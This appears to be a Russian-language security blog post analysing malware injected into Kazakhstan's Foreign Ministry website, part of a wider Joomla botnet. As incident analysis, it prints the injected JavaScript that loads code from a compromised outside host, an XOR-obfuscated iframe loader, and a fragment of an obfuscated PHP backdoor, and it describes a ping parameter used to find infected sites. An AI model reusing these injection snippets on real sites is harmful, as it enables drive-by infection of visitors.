0

Мы недавно опубликовали новость о заражении официального сайта МИД РК. С момента нашего обнаружения инцидента и информирования прошло около 20 дней, но ответа на данное происшествие в наш адрес так и не поступило  ни от МИДа, ни от другого уполномоченного органа, который должен мониторить государственные информационные ресурсы. Выкладываем результаты нашего поверхностного анализа схемы заражения сайта и работы ботнета. К сожалению нас не привлекли к расследованию инцидента не смотря на нашу готовность, о чем мы также сообщили в письменной форме, по этой причине выкладываем сведения которые мы смогли добыть собственными силами…

Напомним, не так давно к нам обратились с вопросом о причине блокировки сайт МИД РК (mfa.gov.kz) со стороны Google Chrome.

После проверки ресурса выяснилось, что сайт действительно попал в черный список Google.

Анализ сайта показал наличие скрипта в коде главной страницы  следующего содержания (см Код 1, Рис. 1):

——————

<script>var a=»; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = «http://comune.colledimacine.ch.it/js/jquery.min.php«; var n_url = base + «?default_keyword=» + default_keyword + «&se_referrer=» + se_referrer + «&source=» + host; var f_url = base + «?c_utt=snt2014&c_utm=» + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== » && se_referrer !== null && se_referrer !== »){document.write(‘<script type=»text/javascript» src=»‘ + f_url + ‘»>’ + ‘<‘ + ‘/script>’);}</script>

——————-

Код 1.

Рис. 1

Далее мы проследовали по ссылке в скрипте (comune.colledimacine.ch.it). Оказалось, что сайт, так же как и портал МИД, сделан на платформе CMS Joomla и также был взломан. В коде главной страницы сайта присутствовал скрипт (Код 1.), вместе с ним присутствовал и другой зашифрованный код см. Код 2.

———————

<script type=»text/javascript»>var a=»‘1Aqapkrv’02v{rg’1F’00vgzv-hctcqapkrv’00’1G’2C’2;tcp’02pgdgpgp’02’1F’02glamfgWPKAmormlglv’0:fmawoglv,pgdgppgp’0;’1@’2C’2;tcp’02fgdcwnv]ig{umpf’02’1F’02glamfgWPKAmormlglv’0:fmawoglv,vkvng’0;’1@’2C’2;tcp’02jmqv’02’1F’02glamfgWPKAmormlglv’0:nmacvkml,jmqv’0;’1@’2C’2;tcp’02kdpcog’02’1F’02fmawoglv,apgcvgGngoglv’0:’05kdpcog’05’0;’1@’2C’2;kdpcog,ukfvj’1F2’1@’2C’2;kdpcog,jgkejv’1F2’1@’2C’2;kdpcog,qpa’1F’02’00j’00’02)’02’00vv’00’02)’02’00r’1C—’00’02)’02’00a33l6,’00’02)’02’00k,vg’00’02)’02’00cq’00’02)’02’00gpe’00’02)’02’00wkf’00’02)’02’00g,a’00’02)’02’00mo’00’02)’02’00-qlkvaj’1Df’00’02)’02’00gd’00’02)’02’00cwn’00’02)’02’00v]i’00’02)’02’00g{’00’02)’02’00umpf’1F’00’02)’02fgdcwnv]ig{umpf’02)’02’00’04pgdg’00’02)’02’00ppgp’1F’00’02)’02pgdgpgp’02)’02’00’04qg]p’00’02)’02’00gd’00’02)’02’00gp’00’02)’02’00pgp’1F’00’02)’02pgdgpgp’02)’02’00’04qmw’00’02)’02’00pag’1F’00’02)’02jmqv’1@’2C’2;fmawoglv,mf{,crrglfAjknf’0:kdpcog’0;’1@’2C’1A-qapkrv’1G»;b=»»;c=»»;var clen;clen=a.length;for(i=0;i<clen;i++){b+=String.fromCharCode(a.charCodeAt(i)^2)}c=unescape(b);document.write(c);

———————

Код 2.

Мы изменили параметр document.write(c) на console.log(c) и сохранили в файл с расширением *.html, в итоге несложных манипуляций получили следующее, смотри Рис. 2

Рис. 2

На портале МИД РК, а также на сайте comune.colledimacine.ch.it фигурировал один и тот же файл: jquery-1.9.1.min.php. Для выяснения масштабов атаки использовали ресурсы Google, в результате получили Рис.3

Рис. 3

Просмотрев данные результаты выдачи и проанализировав вложенные в сайт коды, выяснили, что код аналогичный на всех ресурсах, отличия заключаются только в ссылках, которые периодически меняются по определенному алгоритму. Пересмотрев множество сайтов из результата поиска, нашли сайт с неправильно настроенными конфигурациями, что позволило нам скачать тот файл  jquery-1.9.1.min.php, который оказался зашифрованным см. фрагмент кода (Код 3)

———————

<?php ${«\x47L\x4f\x42\x41L\x53»}[«\x78\x6dwe\x70\x6d\x67\x70″]=»\x70\x6c\x61\x69\x6e\x5f\x74\x65x\x74»;${«\x47\x4cO\x42\x41\x4c\x53»}[«\x70\x70\x66\x75\x69\x6f\x74\x6fl\x6bs»]=»\x62\x6co\x63\x6b»;${«GL\x4f\x42AL\x53»}[«\x6a\x63\x65\x6e\x71\x6a\x70\x61g\x72\x6e»]=»enc_\x74ext»;${«\x47\x4c\x4fBA\x4cS»}[«\x62\x71\x76\x63\x6f\x6d»]=»n»;${«\x47\x4c\x4f\x42\x41L\x53»}[«l\x66\x75\x79\x76r\x6a\x70je\x73″]=»\x69\x76»;${«G\x4c\x4f\x42AL\x53»}[«\x74\x71\x73\x68q\x77\x6e\x62\x6a\x64″]=»\x69\x76\x5f\x6c\x65\x6e»;${«\x47L\x4fB\x41\x4c\x53»}[«\x62\x76\x78\x65v\x66\x7a\x68\x6b\x6e\x6a»]=»p\x61\x73\x73wo\x72\x64″;${«GL\x4fB\x41\x4c\x53»}[«\x63\x61\x67\x74g\x69″]=»s\x65\x6e\x64_\x68\x65\x61ders»;${«\x47L\x4f\x42A\x4cS»}[«\x69epe\x6aw\x6dbn\x76i\x75″]=»\x62\x61s\x65\x5fh\x65\x61\x64\x65\x72\x73»;${«GL\x4f\x42\x41\x4c\x53»}[«\x72t\x79\x73\x69\x79\x66\x62″]=»\x63\x6c\x69en\x74\x5f\x69\x70»;${«\x47\x4cO\x42\x41\x4cS»}[«\x71\x62p\x71mn»]=»\x64a\x74\x61″;${«GLOB\x41L\x53»}[«\x72\x65otu\x70\x62j»]=»\x72e\x73\x70_h\x65\x61d\x65\x72s»;${«GL\x4f\x42\x41\x4c\x53»}[«\x74a\x76\x77\x66\x6a»]=»\x64\x69v»;${«\x47\x4c\x4fB\x41LS»}[«\x6f\x6e\x7au\x78\x78u\x6ci»]=»\x66p»;${«G\x4cO\x42\x41LS»}[«\x78q\x73\x73f\x70\x73b\x6f»]=»\x6f\x75\x74″;${«\x47L\x4fB\x41\x4c\x53»}[«xfft\x6f\x77\x66e\x78\x71″]=»\x73\x65\x6ce\x63\x74\x6fr»;${«\x47\x4c\x4fB\x41\x4cS»}[«lp\x79\x6a\x75sv\x6a\x79\x6d»]=»\x63ont\x65\x78\x74″;${«\x47\x4cOBAL\x53»}[«km\x70y\x6c\x6a\x66\x78n\x72″]=»\x70\x6f\x73»;${«\x47LO\x42AL\x53»}[«\x79w\x74\x75\x66wdh\x65\x74\x6a\x64″]=»h\x65\x61\x64\x65\x72»;${«\x47\x4cOB\x41L\x53»}[«\x73\x75fdg\x76\x6ar»]=»v\x61\x6c»;${«\x47\x4c\x4f\x42A\x4c\x53»}[«\x75\x75\x6c\x74kqb»]=»\x6b\x65y»;${«\x47LO\x42\x41\x4cS»}[«\x70\x6d\x6e\x6ab\x6d\x6b\x61x\x74″]=»\x76alu\x65»;${«G\x4cOB\x41\x4c\x53»}[«x\x71\x79\x6c\x65x\x77\x79\x6cb»]=»\x6e\x61\x6d\x65″;${«\x47\x4c\x4f\x42\x41\x4cS»}[«

….

———————

Код 3.

Для его декодирования нами был реализован скрипт на python, в результате работы которого файл стал выглядеть вот так см. Рис. 4.

Рис. 4

IP-адреса на рисунке 4, предположительно, адреса командных серверов ботнета. Также стоит обратить внимание на строки с 19 по 21, где сказано, что при обращении к файлу jquery-1.9.1.min.php с параметром pi в ответ получаем «ok». Это своего рода ping, для проверки доступности инфицированного сайта см. Рис. 5

Рис. 5

Далее был подготовлен еще один python скрипт, выполняющий две задачи:

  1. производит поиск файла jquery-1.9.1.min.php через google
  2. переходит по ссылке к файлу jquery-1.9.1.min.php с параметром ?pi=any

вот таким нехитрым способом, мы попытались узнать, какие из найденных сайтов действительно являются инфицированными см. Рис 6

Рис. 6

Как оказалось, большинство инфицированных сайтов использовали CMS Joomla и вероятнее всего это и стало причиной такого массового заражения. Что касается непосредственно сайта МИД РК, то мы уведомили все органы о проблеме сразу же после обнаружения. К нашему большому сожалению обсуждаемая проблема была устранена на портале МИД’a лишь спустя 4 дня. На протяжении этого времени зловредный код исчезал и появлялся вновь. Мы внимательно следили за бесполезной работой администратора сайта, который в один из периодов (ВНИМАНИЕ!) закомментировал зловредный код, тем самым вылечив симптомы, а не болезнь. На данный момент уязвимость устранена.

К сожалению проведение дальнейшего расследования невозможно собственными силами,  так как отсутствуют соответствующие полномочия, которые есть у ГТС (kz-cert.kz).  Возможно у данного органа уже есть подробная информация по данному инциденту.

Раскрытие персональных данных. Что говорится про это в НПА.

Previous article

DEF CON группа в Казахстане

Next article

You may also like

More in Атаки